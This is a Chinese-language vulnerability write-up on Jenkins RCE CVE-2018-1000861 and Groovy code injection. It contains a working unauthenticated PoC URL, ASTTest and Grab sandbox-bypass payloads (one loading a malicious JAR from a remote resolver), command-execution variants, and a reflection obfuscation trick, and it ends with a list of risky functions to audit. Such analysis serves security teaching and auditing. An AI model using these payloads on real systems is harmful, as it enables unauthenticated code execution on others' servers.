从Jenkins RCE看Groovy代码注入
字数 1551 2025-08-18 17:33:13

Groovy代码注入与Jenkins RCE漏洞分析

0x00 前言

本文从Jenkins RCE漏洞(CVE-2018-1000861)入手,深入分析Groovy代码注入的原理与利用方式,并提供详细的教学内容。

0x01 Jenkins RCE漏洞分析(CVE-2018-1000861)

漏洞简介

Jenkins是一个基于Java开发的持续集成工具,CVE-2018-1000861是一个远程代码执行漏洞,利用Jenkins动态路由机制的缺陷绕过ACL限制,结合Groovy代码注入实现无验证RCE。

漏洞复现

使用PoC:

http://your-ip:8080/securityRealm/user/admin/descriptorByName/org.jenkinsci.plugins.scriptsecurity.sandbox.groovy.SecureGroovyScript/checkScript?sandbox=true&value=public%20class%20x%20%7B%0A%20%20public%20x()%7B%0A%20%20%20%20%22touch%20/tmp/mi1k7ea%22.execute()%0A%20%20%7D%0A%7D

其他PoC变种:

@groovy.transform.ASTTest(value={ "touch /tmp/mi1k7ea".execute() })
class Person{}

@groovy.transform.ASTTest(value={assert Runtime.getRuntime().exec("touch /tmp/mi1k7ea")})
class Person{}

@GrabConfig(disableChecksums=true)
@GrabResolver(name='Exp', root='http://127.0.0.1:8000/')
@Grab(group='test', module='poc', version='0')
import Exp;

漏洞原理

  1. Jenkins动态路由机制:

    • 基于Stapler框架,以/分隔URL,从jenkins.model.Jenkins开始遍历
    • 调用public成员变量或getter方法
  2. 白名单路由:

    • 白名单路径包括/login, /logout, /securityRealm
    • 通过/securityRealm/user/[username]/descriptorByName/[descriptor_name]/绕过ACL
  3. RCE Gadget:

    • 利用GroovyClassLoader.parseClass()进行AST解析
    • 通过编译期Meta Programming绕过Groovy沙箱

0x02 Groovy入门

基本语法

Groovy是JVM上的动态语言,与Java语法相似但更简洁。

环境搭建

  1. 下载Groovy: http://groovy-lang.org/download.html
  2. 配置IDEA Groovy项目

5种运行方式

  1. groovyConsole图形交互控制台

    • 终端输入groovyConsole
  2. groovysh shell命令交互

    • 终端输入groovysh
  3. 命令行执行Groovy脚本

    groovy script.groovy
    
  4. 通过IDE运行Groovy脚本

    • 直接运行Groovy类
  5. 创建Unix脚本

    #!/usr/bin/env groovy
    println("Hi, "+args[0]+" welcome to Groovy")
    

    赋予执行权限后直接运行

0x03 Groovy代码注入

漏洞原理

当外部可控输入Groovy代码或可上传恶意Groovy脚本时,可能导致RCE。

命令执行PoC变种

// 直接命令执行
Runtime.getRuntime().exec("calc")
"calc".execute()
'calc'.execute()
"${"calc".execute()}"
"${'calc'.execute()}"

// 回显型命令执行
println "whoami".execute().text
println 'whoami'.execute().text
println "${"whoami".execute().text}"
println "${'whoami'.execute().text}"
def cmd = "whoami";
println "${cmd.execute().text}";

注入点分析

  1. GroovyShell

    GroovyShell groovyShell = new GroovyShell();
    groovyShell.evaluate("\"calc\".execute()");
    
  2. GroovyScriptEngine

    GroovyScriptEngine groovyScriptEngine = new GroovyScriptEngine("");
    groovyScriptEngine.run("script.groovy", new Binding());
    
  3. GroovyClassLoader

    GroovyClassLoader groovyClassLoader = new GroovyClassLoader();
    Class loadClass = groovyClassLoader.parseClass(new File("script.groovy"));
    GroovyObject groovyObject = (GroovyObject) loadClass.newInstance();
    groovyObject.invokeMethod("main","");
    
  4. ScriptEngine

    ScriptEngine groovyEngine = new ScriptEngineManager().getEngineByName("groovy");
    groovyEngine.eval("\"calc\".execute()");
    

0x04 Bypass技巧

反射机制和字符串拼接

import java.lang.reflect.Method;
Class<?> rt = Class.forName("java.la" + "ng.Run" + "time");
Method gr = rt.getMethod("getR" + "untime");
Method ex = rt.getMethod("ex" + "ec", String.class);
ex.invoke(gr.invoke(null), "ca" + "lc")

Groovy沙箱绕过

  1. @AST注解执行断言

    this.class.classLoader.parseClass('''
        @groovy.transform.ASTTest(value={
            assert Runtime.getRuntime().exec("calc")
        })
        def x
    ''');
    
  2. @Grab注解加载远程恶意类

    • 编写恶意Exp类(构造函数中包含RCE代码)
    • 打包为JAR并托管在Web服务器
    • 使用PoC:
      this.class.classLoader.parseClass('''
          @GrabConfig(disableChecksums=true)
          @GrabResolver(name='Exp', root='http://127.0.0.1:8000/')
          @Grab(group='test', module='poc', version='0')
          import Exp;
      ''')
      

0x05 排查方法

检查以下关键类和函数:

关键类 关键函数
groovy.lang.GroovyShell evaluate
groovy.util.GroovyScriptEngine run
groovy.lang.GroovyClassLoader parseClass
javax.script.ScriptEngine eval

0x06 参考

  1. Hacking Jenkins Part 1 - Play with Dynamic Routing
  2. Hacking Jenkins Part 2 - Abusing Meta Programming for Unauthenticated RCE!
  3. Jenkins RCE分析(CVE-2018-1000861分析)
  4. Jenkins groovy scripts for read teamers and penetration testers
Groovy代码注入与Jenkins RCE漏洞分析 0x00 前言 本文从Jenkins RCE漏洞(CVE-2018-1000861)入手,深入分析Groovy代码注入的原理与利用方式,并提供详细的教学内容。 0x01 Jenkins RCE漏洞分析(CVE-2018-1000861) 漏洞简介 Jenkins是一个基于Java开发的持续集成工具,CVE-2018-1000861是一个远程代码执行漏洞,利用Jenkins动态路由机制的缺陷绕过ACL限制,结合Groovy代码注入实现无验证RCE。 漏洞复现 使用PoC: 其他PoC变种: 漏洞原理 Jenkins动态路由机制 : 基于Stapler框架,以 / 分隔URL,从 jenkins.model.Jenkins 开始遍历 调用public成员变量或getter方法 白名单路由 : 白名单路径包括 /login , /logout , /securityRealm 等 通过 /securityRealm/user/[username]/descriptorByName/[descriptor_name]/ 绕过ACL RCE Gadget : 利用 GroovyClassLoader.parseClass() 进行AST解析 通过编译期Meta Programming绕过Groovy沙箱 0x02 Groovy入门 基本语法 Groovy是JVM上的动态语言,与Java语法相似但更简洁。 环境搭建 下载Groovy: http://groovy-lang.org/download.html 配置IDEA Groovy项目 5种运行方式 groovyConsole图形交互控制台 终端输入 groovyConsole groovysh shell命令交互 终端输入 groovysh 命令行执行Groovy脚本 通过IDE运行Groovy脚本 直接运行Groovy类 创建Unix脚本 赋予执行权限后直接运行 0x03 Groovy代码注入 漏洞原理 当外部可控输入Groovy代码或可上传恶意Groovy脚本时,可能导致RCE。 命令执行PoC变种 注入点分析 GroovyShell GroovyScriptEngine GroovyClassLoader ScriptEngine 0x04 Bypass技巧 反射机制和字符串拼接 Groovy沙箱绕过 @AST注解执行断言 @Grab注解加载远程恶意类 编写恶意Exp类(构造函数中包含RCE代码) 打包为JAR并托管在Web服务器 使用PoC: 0x05 排查方法 检查以下关键类和函数: | 关键类 | 关键函数 | |--------|----------| | groovy.lang.GroovyShell | evaluate | | groovy.util.GroovyScriptEngine | run | | groovy.lang.GroovyClassLoader | parseClass | | javax.script.ScriptEngine | eval | 0x06 参考 Hacking Jenkins Part 1 - Play with Dynamic Routing Hacking Jenkins Part 2 - Abusing Meta Programming for Unauthenticated RCE ! Jenkins RCE分析(CVE-2018-1000861分析) Jenkins groovy scripts for read teamers and penetration testers